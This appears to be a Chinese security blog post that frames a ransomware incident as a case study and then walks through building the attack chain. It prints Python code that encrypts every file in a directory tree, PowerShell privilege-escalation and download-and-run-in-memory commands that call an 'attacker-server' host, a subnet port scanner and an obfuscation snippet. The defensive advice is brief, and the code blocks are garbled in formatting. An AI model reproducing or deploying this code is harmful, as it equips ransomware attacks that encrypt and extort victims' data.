一、从一起真实案例说起

黑客示意图

几个月前,我接到一个任务:调查一家互联网公司遭受的勒索软件攻击。这家公司运营着庞大的用户数据系统,突然一夜之间,公司所有的核心服务器显示被加密,屏幕上出现了一个勒索信息——要求支付比特币赎金以换取解密密钥。攻击者不仅加密了数据,还窃取了部分敏感信息用作二次勒索。

经过深入分析,我们发现攻击者使用了一款定制化的勒索软件,结合了远程代码执行漏洞和内网横向渗透技术,最终实现了对核心服务器的全面控制。这篇文章将分步骤还原这次攻击链,并详细展示勒索软件的运行原理、构造方法,以及如何测试免杀和绕过。

---

二、攻击者如何制造勒索软件的武器库

攻击者制作勒索软件并不是一蹴而就,而是需要仔细设计和测试,确保它能够:

  1. 加密目标文件:使用高效的对称加密算法。
  2. 隐藏自身:绕过杀软与EDR检测。
  3. 横向渗透:遍历全网找到更多目标。
  4. 提升权限:确保能够操作关键服务器。

以下是攻击者制作勒索软件的主要技术步骤:

1. 加密模块编写

勒索软件最核心的功能是加密文件。攻击者通常会选择AES(高级加密标准),因为其效率高且难以破解。以下是一段使用Python编写的加密代码:

<pre><code class="language-python">import os from Crypto.Cipher import AES from Crypto.Util.Padding import pad

定义密钥,攻击者通常会随机生成

key = b&#039;supersecretkey!!&#039;

加密函数

def encrypt_file(file_path): with open(file_path, &#039;rb&#039;) as f: data = f.read() cipher = AES.new(key, AES.MODE_CBC) # 使用CBC模式加密 encrypted_data = cipher.encrypt(pad(data, AES.block_size))

保存加密后的数据和初始向量

with open(file_path + &#039;.enc&#039;, &#039;wb&#039;) as f: f.write(cipher.iv + encrypted_data)

扫描目录并加密所有文件

def encrypt_all_files(target_dir): for root, _, files in os.walk(target_dir): for file in files: file_path = os.path.join(root, file) encrypt_file(file_path) print(f&#039;Encrypted: {file_path}&#039;)

测试加密

encrypt_all_files(&#039;/path/to/target/files&#039;)</code></pre>

2. 权限提升与横向渗透

通常,勒索软件会运行在一个低权限的用户环境中,因此攻击者需要想办法提升自己的权限。以下是通过PowerShell实现简单权限提升的代码:

<pre><code class="language-powershell"># 获取管理员权限 Start-Process powershell -ArgumentList &#039;-Command Set-ExecutionPolicy Unrestricted&#039; -Verb RunAs

尝试使用提权漏洞(CVE-XXXXX,假设为某Windows提权漏洞)

Invoke-Expression -Command &quot;&amp; {Import-Module .\Exploit.ps1; Invoke-Exploit}&quot;</code></pre>

3. 网络扫描与横向移动

攻击者在获取初始权限后,通常会通过网络扫描找到更多目标。使用Python实现了简单的端口扫描逻辑:

<pre><code class="language-python">import socket

def scan_network(ip_range): for ip in ip_range: for port in range(1, 65535): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(0.5) if sock.connect_ex((ip, port)) == 0: print(f&#039;Found open port: {ip}:{port}&#039;) sock.close()

测试网络扫描

scan_network([&#039;192.168.1.&#039; + str(i) for i in range(1, 255)])</code></pre>

---

三、免杀:如何躲过AV与EDR的追踪

杀毒软件和EDR系统是勒索软件的天敌,攻击者需要精心设计载荷,以绕过检测。以下是常见的免杀技术:

1. 文件混淆与加壳

攻击者通常会对勒索软件的二进制文件进行混淆,使其难以被静态分析。以下是使用Python实现简单的混淆:

<pre><code class="language-python"># 简单的字符串混淆技术,将关键代码隐藏 key = &#039;SECRETKEY&#039; original_code = &#039;def main(): print(&quot;Hello, world!&quot;)&#039; obfuscated_code = &#039;&#039;.join(chr(ord(char) ^ ord(key[i % len(key)])) for i, char in enumerate(original_code))

保存为混淆后的脚本

with open(&#039;payload.py&#039;, &#039;w&#039;) as f: f.write(obfuscated_code)</code></pre>

2. 内存加载执行

攻击者可以避免写入磁盘,通过内存加载执行勒索软件代码。以下是使用PowerShell加载文件到内存的方法:

<pre><code class="language-powershell"># 从远程加载并执行代码 $payload = Invoke-WebRequest -Uri &#039;http://attacker-server/payload.ps1&#039; -UseBasicParsing Invoke-Expression $payload.Content</code></pre>

---

四、攻击链完整复现:从渗透到勒索

以下是攻击者完整的步骤链,基于真实案例:

  1. 初始接触
  • 攻击者通过鱼叉式社工攻击,诱骗目标下载一个伪装成PDF的可执行文件。
  • 被利用的主机安装了一款未打补丁的文件共享服务,涉及CVE-XXXX漏洞。

黑客示意图

  1. 漏洞利用
  • 攻击者通过伪装的载荷利用该漏洞,成功在目标机器上运行远控工具。
  1. 横向移动
  • 使用网络扫描工具发现内网中的其他服务器,并通过窃取凭证进一步渗透。

黑客示意图

  1. 勒索软件部署
  • 攻击者将定制化的勒索软件注入到所有找到的机器上。

黑客示意图

  1. 执行加密
  • 批量加密所有重要文件并留下勒索信息。

---

五、防御:如何识破勒索软件的套路

虽然攻击者手段精明,但防御者可以针对攻击链中的每一步实施监控与阻断:

1. 社工攻击防御

  • 对员工进行反社工培训,避免打开不明文件。
  • 在邮件网关上设置严格的附件过滤规则。

2. 漏洞修复

  • 定期扫描系统中已知漏洞,并安装补丁。

3. 网络监控

  • 在内网中部署流量监控系统,发现异常扫描行为。

4. 文件恢复与备份

  • 使用离线备份系统,确保即使文件被加密也能快速恢复。

---

六、个人经验分享:如何思考攻击链

作为安全研究员,我的经验是无论是防御还是攻击,都需要从攻击者思维出发。勒索软件的出现并非偶然,它利用的是系统中的松散环节。一个漏洞可能看似简单,但当它与横向渗透结合时,威力不可小觑。如果你是防御者,永远不要低估攻击者的耐心与创意;如果你是攻击者,记住每一个细节都可能决定成败。

本文仅供安全研究学习,请勿用于非法用途!